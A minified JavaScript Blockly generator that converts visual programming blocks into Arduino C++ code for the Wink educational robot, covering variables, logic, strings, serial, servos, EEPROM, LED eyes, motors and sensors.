Blockly.C.ORDER_BITWISE_XOR=10;Blockly.C.ORDER_BITWISE_OR=11;Blockly.C.ORDER_LOGICAL_AND=12;Blockly.C.ORDER_LOGICAL_OR=13;Blockly.C.ORDER_CONDITIONAL=14;Blockly.C.ORDER_THROW=14;Blockly.C.ORDER_ASSIGNMENT=14;Blockly.C.ORDER_COMMA=15;Blockly.C.ORDER_NONE=99;function DefineVar(a,b){return b+" "+Blockly.C.variableDB_.getName(a,Blockly.Variables.NAME_TYPE)+";"}Blockly.C.TYPE_CONVERSION=[];Blockly.C.TYPE_CONVERSION.INTEGER=["int",Blockly.Msg.TYPE_INT];Blockly.C.TYPE_CONVERSION.BOOLEAN=["bool",Blockly.Msg.TYPE_BOOL];
Blockly.C.TYPE_CONVERSION.FLOAT=["float",Blockly.Msg.TYPE_FLOAT];Blockly.C.TYPE_CONVERSION.STRING=["String",Blockly.Msg.TYPE_STRING];Blockly.C.TYPE_CONVERSION.ArrayINT=["int *",Blockly.Msg.TYPE_INT_ARR];Blockly.C.TYPE_CONVERSION.ArrayFLOAT=["float *",Blockly.Msg.TYPE_FLOAT_ARR];Blockly.C.TYPE_CONVERSION.ArrayBoolean=["bool *",Blockly.Msg.TYPE_BOOL_ARR];Blockly.C.TYPE_CONVERSION.ArrayString=["String *",Blockly.Msg.TYPE_STRING_ARR];
Blockly.C.init=function(a){Blockly.C.definitions_=Object.create(null);Blockly.C.functions_=Object.create(null);Blockly.C.functionNames_=Object.create(null);Blockly.C.variableDB_?Blockly.C.variableDB_.reset():Blockly.C.variableDB_=new Blockly.Names(Blockly.C.RESERVED_WORDS_);for(var b=[],c=Blockly.Variables.allVariables(a),d=0;d<c.length;d++){var e=a.getVariableType(c[d]);b[d]=DefineVar(c[d],Blockly.C.TYPE_CONVERSION[e][0])}Blockly.C.definitions_.variables=b.join("\n")};
Blockly.C.finish=function(a){a&&(a=Blockly.C.prefixLines(a,Blockly.C.INDENT));var b=[],c=[];for(e in Blockly.C.definitions_){var d=Blockly.C.definitions_[e];d.match(/^include\s/)?b.push(d):c.push(d)}var e=[];for(var f in Blockly.C.functions_)e.push(Blockly.C.functions_[f]);delete Blockly.C.definitions_;delete Blockly.C.functionNames_;delete Blockly.C.functions_;Blockly.C.variableDB_.reset();return('/*Wink Robot\nWink_BaseSketch_Rev01_03\nVersion 1.3 01/2016\nThis is a basic sketch that can be used as a starting point\nfor various functionality of the Wink robot.\nThis code was written by Kevin King and\nDustin Soodak for Plum Geek LLC.\nPortions from other open source projects where noted.\nThis code is licensed under:\nCreative Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)\nhttps://creativecommons.org/licenses/by-sa/2.0/\nVisit http://www.plumgeek.com for Wink information.\nVisit http://www.arduino.cc to learn about the Arduino.\n*/\n#include "WinkHardware.hpp" // Leave this line first. Do not edit this line. This causes Arduino\n // to include background functions when turning your code into\n // machine language Wink can understand.\n'+
b.join("\n")+e.join("\n")+"\n"+c.join("\n\n")).replace(/\n\n+/g,"\n\n").replace(/\n*$/,"\n\n")+a};Blockly.C.scrubNakedValue=function(a){return a+";\n"};Blockly.C.quote_=function(a){return goog.string.quote(a)};
Blockly.C.scrub_=function(a,b){var c="";if(!a.outputConnection||!a.outputConnection.targetConnection){var d=a.getCommentText();d&&(c+=Blockly.C.prefixLines(d,"// ")+"\n");for(var e=0;e<a.inputList.length;e++)a.inputList[e].type==Blockly.INPUT_VALUE&&(d=a.inputList[e].connection.targetBlock())&&(d=Blockly.C.allNestedComments(d))&&(c+=Blockly.C.prefixLines(d,"// "))}e=a.nextConnection&&a.nextConnection.targetBlock();e=Blockly.C.blockToCode(e);return c+b+e};Blockly.CReservedWords="alignas alignof and and_eq asm atomic_cancel atomic_commit atomic_noexcept audit auto axiom bitand bitor bool break case catch char char16_t char32_t char8_t class co_await co_return co_yield compl concept const_cast consteval constexpr continue decltype default delete do double dynamic_cast else enum explicit export extern false final float for friend goto if import inline int long module mutable namespace new noexcept not not_eq nullptr operator or or_eq override private protected public reflexpr register reinterpret_cast requires return short signed sizeof static static_assert static_cast struct switch synchronized template this thread_local throw transaction_safe transaction_safe_dynamic true try typedef typeid typename union unsigned using virtual void volatile wchar_t while xor xor_eq".split(" ");Blockly.C.arduino_eeprom={};function AddInclude(){Blockly.C.definitions_.import_eeprom="#include <EEPROM.h>"}Blockly.C.eeprom_read=function(a){AddInclude();return["EEPROM.read("+Blockly.C.valueToCode(a,"ADDRESS",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.eeprom_write=function(a){AddInclude();var b=Blockly.C.valueToCode(a,"ADDRESS",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return"EEPROM.write("+b+", "+a+");\n"};
Blockly.C.eeprom_update=function(a){AddInclude();var b=Blockly.C.valueToCode(a,"ADDRESS",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return"EEPROM.update("+b+", "+a+");\n"};Blockly.C.eeprom_get=function(a){AddInclude();var b=Blockly.C.valueToCode(a,"ADDRESS",Blockly.C.ORDER_ATOMIC);a=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE);return"EEPROM.get("+b+", "+a+");\n"};
Blockly.C.eeprom_put=function(a){AddInclude();var b=Blockly.C.valueToCode(a,"ADDRESS",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return"EEPROM.put("+b+", "+a+");\n"};Blockly.C.variables={};Blockly.C.variables_get=function(a){return[Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE),Blockly.C.ORDER_ATOMIC]};Blockly.C.variables_set=function(a){var b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ASSIGNMENT)||"0";return Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE)+" = "+b+";\n"};
Blockly.C.variable_set_typed=function(a){switch(a.cType){case "STRING":var b='""';break;case "BOOLEAN":b="true";break;case "FLOAT":b="0.0";break;default:b="0"}b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ASSIGNMENT)||b;b.match(/\d+\.\d+$/)&&(b+="f");var c=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE);return"INTEGER"==a.cType?c+" = (int)"+b+";\n":c+" = "+b+";\n"};
Blockly.C.variables_get_typed=function(a){return[Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE),Blockly.C.ORDER_ATOMIC]};Blockly.C.logic={};Blockly.C.controls_if=function(a){var b=0,c=Blockly.C.valueToCode(a,"IF"+b,Blockly.C.ORDER_NONE)||"false",d=Blockly.C.statementToCode(a,"DO"+b),e="if ("+c+") {\n"+d+"}";for(b=1;b<=a.elseifCount_;b++)c=Blockly.C.valueToCode(a,"IF"+b,Blockly.C.ORDER_NONE)||"false",d=Blockly.C.statementToCode(a,"DO"+b),e+=" else if ("+c+") {\n"+d+"}";a.elseCount_&&(d=Blockly.C.statementToCode(a,"ELSE"),e+=" else {\n"+d+"}");return e+"\n"};
Blockly.C.logic_compare=function(a){var b={EQ:"==",NEQ:"!=",LT:"<",LTE:"<=",GT:">",GTE:">="}[a.getFieldValue("OP")],c="=="==b||"!="==b?Blockly.C.ORDER_EQUALITY:Blockly.C.ORDER_RELATIONAL,d=Blockly.C.valueToCode(a,"A",c)||"0";a=Blockly.C.valueToCode(a,"B",c)||"0";return[d+" "+b+" "+a,c]};
Blockly.C.logic_operation=function(a){var b="AND"==a.getFieldValue("OP")?"&&":"||",c="&&"==b?Blockly.C.ORDER_LOGICAL_AND:Blockly.C.ORDER_LOGICAL_OR,d=Blockly.C.valueToCode(a,"A",c);a=Blockly.C.valueToCode(a,"B",c);if(d||a){var e="&&"==b?"true":"false";d||(d=e);a||(a=e)}else a=d="false";return[d+" "+b+" "+a,c]};
Blockly.C.logic_operation_and=Blockly.C.logic_operation_or=function(a){var b="AND"==a.operator?" && ":" || ",c=" && "==b?Blockly.C.ORDER_LOGICAL_AND:Blockly.C.ORDER_LOGICAL_OR,d="&&"==b?"true":"false",e=Blockly.C.valueToCode(a,"A",c)||d,f=Blockly.C.valueToCode(a,"B",c)||d;e=e+b+f;for(var g=0;g<a.itemCount_;g++)e+=b,(f=Blockly.C.valueToCode(a,"ADD"+g,c))||(f=d),e+=f;return[e,c]};
Blockly.C.logic_negate=function(a){var b=Blockly.C.ORDER_UNARY_PREFIX;return["!"+(Blockly.C.valueToCode(a,"BOOL",b)||"true"),b]};Blockly.C.logic_boolean=function(a){return["TRUE"==a.getFieldValue("BOOL")?"true":"false",Blockly.C.ORDER_ATOMIC]};Blockly.C.logic_null=function(a){return["null",Blockly.C.ORDER_ATOMIC]};
Blockly.C.logic_ternary=function(a){var b=Blockly.C.valueToCode(a,"IF",Blockly.C.ORDER_CONDITIONAL)||"false",c=Blockly.C.valueToCode(a,"THEN",Blockly.C.ORDER_CONDITIONAL)||"0";a=Blockly.C.valueToCode(a,"ELSE",Blockly.C.ORDER_CONDITIONAL)||"0";return[b+" ? "+c+" : "+a,Blockly.C.ORDER_CONDITIONAL]};Blockly.C.seteyesred=function(a){return"eyesRed()"};Blockly.C.arduino_string={};Blockly.C.arduino_string_create=function(a){return["String("+(Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_ATOMIC)||"String()")+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_string_create_base=function(a){var b=Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"BASE",Blockly.C.ORDER_ATOMIC);return["String("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_char_at=function(a){var b=Blockly.C.valueToCode(a,"LOCATION",Blockly.C.ORDER_ATOMIC);return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".charAt("+b+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_string_compare_to=function(a){var b=Blockly.C.valueToCode(a,"LHS",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"RHS",Blockly.C.ORDER_ATOMIC)||"String()";return[b+".compareTo("+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_concat=function(a){var b=Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_ATOMIC)||"String()";return(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".concat("+b+");\n"};Blockly.C.arduino_string_ends_with=function(a){var b=Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_ATOMIC)||"String()";return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".endsWith("+b+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_equals=function(a){var b=Blockly.C.valueToCode(a,"LHS",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"RHS",Blockly.C.ORDER_ATOMIC)||"String()";return[b+".equals("+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_string_equals_ignore_case=function(a){var b=Blockly.C.valueToCode(a,"LHS",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"RHS",Blockly.C.ORDER_ATOMIC)||"String()";return[b+".equalsIgnoreCase("+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_index_of=function(a){var b=Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_ATOMIC)||"String()",c=Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"POSITION",Blockly.C.ORDER_ATOMIC);return c+".indexOf("+b+", "+a+");\n"};Blockly.C.arduino_string_length=function(a){return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".length()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_remove=function(a){var b=Blockly.C.valueToCode(a,"START",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"END",Blockly.C.ORDER_ATOMIC);return c+".remove("+b+", "+a+");\n"};
Blockly.C.arduino_string_replace=function(a){var b=Blockly.C.valueToCode(a,"LHS",Blockly.C.ORDER_ATOMIC)||"String()",c=Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"RHS",Blockly.C.ORDER_ATOMIC)||"String()";return c+".replace("+b+", "+a+");\n"};
Blockly.C.arduino_string_starts_with=function(a){var b=Blockly.C.valueToCode(a,"LHS",Blockly.C.ORDER_ATOMIC)||"String()";a=Blockly.C.valueToCode(a,"RHS",Blockly.C.ORDER_ATOMIC)||"String()";return[b+".startsWith("+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_substring=function(a){var b=Blockly.C.valueToCode(a,"START",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"END",Blockly.C.ORDER_ATOMIC);return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".substring("+b+", "+c+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_string_to_int=function(a){return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".toInt()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_string_to_float=function(a){return[(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".toFloat()",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_string_to_lower=function(a){return(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".toLowerCase();\n"};Blockly.C.arduino_string_to_upper=function(a){return(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".toUpperCase();\n"};
Blockly.C.arduino_string_trim=function(a){return(Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_ATOMIC)||"String()")+".trim();\n"};Blockly.C.arduino_servo={};Blockly.C.servo_attach=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";var b=Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC);return b+".attach("+a+");\n"};
Blockly.C.servo_write=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";var b=Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"ANGLE",Blockly.C.ORDER_ATOMIC);return b+".write("+a+");\n"};Blockly.C.servo_write_microseconds=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";var b=Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"MICROS",Blockly.C.ORDER_ATOMIC);return b+".writeMicroseconds("+a+");\n"};
Blockly.C.servo_read=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";return[Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC)+".read()",Blockly.C.ORDER_ATOMIC]};Blockly.C.servo_attached=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";return[Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC)+".attached()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.servo_detach=function(a){Blockly.C.definitions_.include_servo="#include <Servo.h>";return Blockly.C.valueToCode(a,"SERVO",Blockly.C.ORDER_ATOMIC)+".detach();\n"};Blockly.C.arduino_pwm={};Blockly.C.serial_begin=function(a){return"Serial.begin("+Blockly.C.valueToCode(a,"SPEED",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.serial_end=function(a){return"Serial.end();\n"};Blockly.C.serial_print=function(a){return"Serial.print("+Blockly.C.valueToCode(a,"OUTPUT",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.serial_print_line=function(a){return"Serial.println("+Blockly.C.valueToCode(a,"OUTPUT",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.serial_read=function(a){return["Serial.read()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.serial_available=function(){return["Serial.available()",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_available_write=function(){return["Serial.availableForWrite()",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_find=function(a){return["Serial.find("+Blockly.C.valueToCode(a,"TARGET",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.serial_find_until=function(a){var b=Blockly.C.valueToCode(a,"TARGET",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"terminal",Blockly.C.ORDER_ATOMIC);return["Serial.find("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_flush=function(){return"Serial.flush();\n"};Blockly.C.serial_parse_int=function(){return["Serial.parseInt()",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_parse_float=function(){return["Serial.parseFloat()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.serial_peek=function(){return["Serial.peek()",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_read_bytes=function(a){var b=Blockly.C.valueToCode(a,"BUFFER",Blockly.C.ORDER_ATOMIC)||"nullptr";a=Blockly.C.valueToCode(a,"LENGTH",Blockly.C.ORDER_ATOMIC)||"0";return["Serial.readBytes("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.serial_read_bytes_until=function(a){var b=Blockly.C.valueToCode(a,"BUFFER",Blockly.C.ORDER_ATOMIC)||"nullptr",c=Blockly.C.valueToCode(a,"LENGTH",Blockly.C.ORDER_ATOMIC)||"0";return["Serial.readBytes("+(Blockly.C.valueToCode(a,"TERMINAL",Blockly.C.ORDER_ATOMIC)||"0")+", "+b+", "+c+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.serial_set_timeout=function(a){return"Serial.setTimeout("+(Blockly.C.valueToCode(a,"MILLISECONDS",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.arrays={};Blockly.C.typed_arrays_create_with=function(a){switch(a.ctype){case "INTEGER":var b="int";var c="0";break;case "FLOAT":b="float";c="0";break;case "STRING":b="string";c='""';break;case "BOOLEAN":b="bool";c="false";break;default:b="int",c="0"}for(var d=Array(a.itemCount_),e=0;e<a.itemCount_;e++)d[e]=Blockly.C.valueToCode(a,"ADD"+e,Blockly.C.ORDER_NONE)||c;d="new "+b+"["+a.itemCount_+"]{"+d.join(", ")+"}";return[d,Blockly.C.ORDER_ATOMIC]};
Blockly.C.typed_arrays_setIndex=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("ARRAY"),Blockly.Variables.NAME_TYPE),c=Blockly.C.valueToCode(a,"INDEX",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return b+"[(int)"+c+"] = "+a+";\n"};
Blockly.C.typed_arrays_getIndex=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("ARRAY"),Blockly.Variables.NAME_TYPE);a=Blockly.C.valueToCode(a,"INDEX",Blockly.C.ORDER_ATOMIC);return[b+"[(int)"+a+"]",Blockly.C.ORDER_NONE]};Blockly.C.typed_arrays_delete=function(a){return"delete "+Blockly.C.variableDB_.getName(a.getFieldValue("ARRAY"),Blockly.Variables.NAME_TYPE)+";\n"};Blockly.C.winks={};Blockly.C.seteyesred=function(a){return"eyesRed("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyesgreen=function(a){return"eyesGreen("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyesblue=function(a){return"eyesBlue("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.seteyespurple=function(a){return"eyesPurple("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyespink=function(a){return"eyesPink("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyesyellow=function(a){return"eyesYellow("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.seteyescyan=function(a){return"eyesCyan("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyesorange=function(a){return"eyesOrange("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.seteyeswhite=function(a){return"eyesWhite("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.seteyesrgb=function(a){var b=a.getFieldValue("NAME")||"#000000";a=parseInt(b.substring(1,3),16);var c=parseInt(b.substring(3,5),16);b=parseInt(b.substring(5,7),16);return"eyesRGB("+a+", "+c+", "+b+");\n"};Blockly.C.set_eyes=function(a){var b=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_ATOMIC)||"0";return"eyesRGB("+b+","+c+","+a+");\n"};Blockly.C.turneyesoff=function(a){return"eyesOff();\n"};
Blockly.C.eyesprevcolour=function(a){return"eyesPrevCol();\n"};Blockly.C.setleftred=function(a){return"leftRed("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftgreen=function(a){return"leftGreen("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftblue=function(a){return"leftBlue("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setleftpurple=function(a){return"leftPurple("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftpink=function(a){return"leftPink("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftyellow=function(a){return"leftYellow("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setleftcyan=function(a){return"leftCyan("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftorange=function(a){return"leftOrange("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setleftwhite=function(a){return"leftWhite("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setleftrgb=function(a){var b=a.getFieldValue("NAME")||"#000000";a=parseInt(b.substring(1,3),16);var c=parseInt(b.substring(3,5),16);b=parseInt(b.substring(5,7),16);return"leftRGB("+a+", "+c+", "+b+");\n"};Blockly.C.set_left_eye=function(a){var b=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_ATOMIC)||"0";return"leftRGB("+b+","+c+","+a+");\n"};
Blockly.C.turnlefteyeoff=function(a){return"leftOff();\n"};Blockly.C.leftprevcolour=function(a){return"leftPrevCol();\n"};Blockly.C.setrightred=function(a){return"rightRed("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightgreen=function(a){return"rightGreen("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setrightblue=function(a){return"rightBlue("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightpurple=function(a){return"rightPurple("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightpink=function(a){return"rightPink("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setrightyellow=function(a){return"rightYellow("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightcyan=function(a){return"rightCyan("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightorange=function(a){return"rightOrange("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.setrightwhite=function(a){return"rightWhite("+(Blockly.C.valueToCode(a,"INTENSITY",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.setrightrgb=function(a){var b=a.getFieldValue("NAME")||"#000000";a=parseInt(b.substring(1,3),16);var c=parseInt(b.substring(3,5),16);b=parseInt(b.substring(5,7),16);return"rightRGB("+a+", "+c+", "+b+");\n"};
Blockly.C.set_right_eye=function(a){var b=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_ATOMIC)||"0";return"rightRGB("+b+","+c+","+a+");\n"};Blockly.C.turnrighteyeoff=function(a){return"rightOff();\n"};Blockly.C.rightprevcolour=function(a){return"rightPrevCol();\n"};
Blockly.C.hardwarestartup=function(a){a=Blockly.C.statementToCode(a,"do");Blockly.C.definitions_.setup='// Below is the "setup" function. It runs one time as soon as Wink turns on. You can add stuff\n// to this function if you want, but hardwareBegin() should always be the first code in the list.\nvoid setup(){\n hardwareBegin();\n'+a+"}\n";return null};
Blockly.C.loop=function(a){a=Blockly.C.statementToCode(a,"do");Blockly.C.definitions_.loop='// Below is the "loop" function. This is where you\'ll write most of your code. Whatever is included\n// inside the "loop" function will run over and over until Wink runs out of power or you turn him off.\nvoid loop(){\n'+a+"}\n";return null};
Blockly.C.acceleratemotors=function(a){var b=Blockly.C.valueToCode(a,"startspeed",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"endspeed",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"duration",Blockly.C.ORDER_ATOMIC)||"0";return"accelerateMotors("+b+", "+c+", "+a+");\n"};Blockly.C.bestill=function(a){return"beStill();\n"};
Blockly.C.motors=function(a){var b=Blockly.C.valueToCode(a,"leftspeed",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"rightspeed",Blockly.C.ORDER_ATOMIC)||"0";return"motors("+b+", "+a+");\n"};Blockly.C.spinleft=function(a){return"spinLeft("+(Blockly.C.valueToCode(a,"speed",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.spinright=function(a){return"spinRight("+(Blockly.C.valueToCode(a,"speed",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};
Blockly.C.turn_by_values=function(a){var b=a.getFieldValue("direction"),c=a.getFieldValue("speed");a=a.getFieldValue("duration");switch(b){case "left":return"spinLeft("+c+");\ndelay("+a+");\nbeStill();\n";case "right":return"spinRight("+c+");\ndelay("+a+");\nbeStill();\n"}return["",Blockly.C.ORDER_NONE]};Blockly.C.buttonwait=function(a){return"waitForButton();\n"};Blockly.C.button_pressed=function(a){return["buttonPressed()",Blockly.C.ORDER_NONE]};
Blockly.C.beepms=function(a){return"beep("+(Blockly.C.valueToCode(a,"beepms",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.beepon=function(a){return"beepOn();\n"};Blockly.C.beepoff=function(a){return"beepOff();\n"};
Blockly.C.setirlight=function(a){var b=a.getFieldValue("LIGHT");a=a.getFieldValue("STATE");var c="HIGH";switch(b){case "HEADLIGHT":var d="Headlight";break;case "LINELEFTINNER":d="LineLeftInner";break;case "LINELEFTOUTER":d="LineLeftOuter";break;case "LINERIGHTINNER":d="LineRightInner";break;case "LINERIGHTOUTER":d="LineRightOuter"}switch(a){case "ON":c="HIGH";break;case "OFF":c="LOW"}return"digitalWrite("+d+", "+c+");\n"};
Blockly.C.readsensor=function(a){switch(a.getFieldValue("LIGHT")){case "LINESENSELEFT":var b="LineSenseLeft";break;case "LINESENSERIGHT":b="LineSenseRight";break;case "AMBIENTSENSORLEFT":b="AmbientSenseLeft";break;case "AMBIENTSENSORCENTER":b="AmbientSenseCenter";break;case "AMBIENTSENSORRIGHT":b="AmbientSenseRight"}return["analogRead("+b+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.restart_ir=function(a){return"//Listen for 4 byte packets\nRxIRRestart(4);\n"};
